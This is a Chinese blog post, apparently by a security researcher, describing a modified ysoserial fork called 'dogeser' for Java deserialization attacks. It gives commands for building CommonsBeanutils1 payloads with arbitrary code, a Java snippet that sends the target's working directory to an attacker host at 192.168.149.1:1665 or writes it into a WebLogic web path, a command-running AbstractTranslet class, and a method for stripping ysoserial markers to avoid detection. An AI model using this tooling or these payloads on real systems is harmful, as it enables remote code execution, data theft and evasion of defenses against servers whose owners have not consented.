修改ysoserial使其支持任意代码执行


减小payload的体积

根据文章缩小ysoserial payload体积的几个方法最大程度上减小生成payload的体积,对比结果直接减小一半多。


image.png


支持自定义方法,类

参考ysoserial 工具改造(一)使ysoserial支持执行自定义代码方法将生成payload方法进行改造。
我这边添加了五种方式

序号 方式 描述
1 command 与原版相同
2 “code:代码内容” 代码量比较少时采用
3 “codebase64:代码内容base64编码” 防止代码中存在但引号,双引号,&等字符与控制台命令冲突。
4 “codefile:代码文件路径” 代码量比较多时采用
5 “classfile:class路径“ 利用已生成好的 class 直接获取其字节码

支持下面这些gadget
image.png

codebase64、codefile:、code三种命令介绍


三个命令使用方法参考,codefile:是code比较多的时候。

1
java -jar dogeser-0.0.8-SNAPSHOT-all.jar CommonsBeanutils1 code:calc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
String HOST = "http://192.168.149.1:1665";
String WEB_PATH = System.getProperty("user.dir");

String str_url = HOST + "/?info=" + WEB_PATH;
try{
//若目标能访问我们的服务器,则发送信息到服务器上
java.net.URL url = new java.net.URL(str_url);
java.net.URLConnection conn = url.openConnection();
conn.connect();
conn.getContent();
}catch(Exception e){
//若目标不能访问我们的服务器,则将信息写到自己的web目录下info.log文件中
String webPath = WEB_PATH + "/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/info.log";
try {
java.io.FileOutputStream f1 = new java.io.FileOutputStream(webPath);
f1.write(WEB_PATH.getBytes());
f1.close();
} catch (Exception e1) {
e1.printStackTrace();
}
}
1
java -jar dogeser-0.0.8-SNAPSHOT-all.jar CommonsBeanutils1 codefile:Calc.java


案例

classfile:

类需要继承AbstractTranslet
需要区分xalan\xalan\2.7.2\xalan-2.7.2.jar!\org\apache\xalan\xsltc\runtime\AbstractTranslet.class
这里需要的是jdk内置的AbstractTranslet
以弹计算器为例

1
java -jar dogeser-0.0.8-SNAPSHOT-all.jar CommonsBeanutils1 classfile:G:\Calc.class>2.ser
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

/**
* @ClassName: Calc
* @Description: TODO
* @Author: Summer
* @Date: 2021/9/10 16:16
* @Version: v1.0.0
* @Description:
**/
public class Calc extends AbstractTranslet {
public Calc() {}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}


@Override
public void transform(DOM dom, SerializationHandler[] serializationHandlers) throws TransletException {

}

}

去掉原版绝大数特征

原版大量使用ysoserial、Pwer字段,去除后效果。改掉原版package名字换成dogeser,生成的payload的就不会出现ysoserial字段。
image.png


## ## 参考


https://xz.aliyun.com/t/6227
https://www.yuque.com/tianxiadamutou/zcfd4v/ffd33r


文章作者: SummerSec
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 SummerSec !
  目录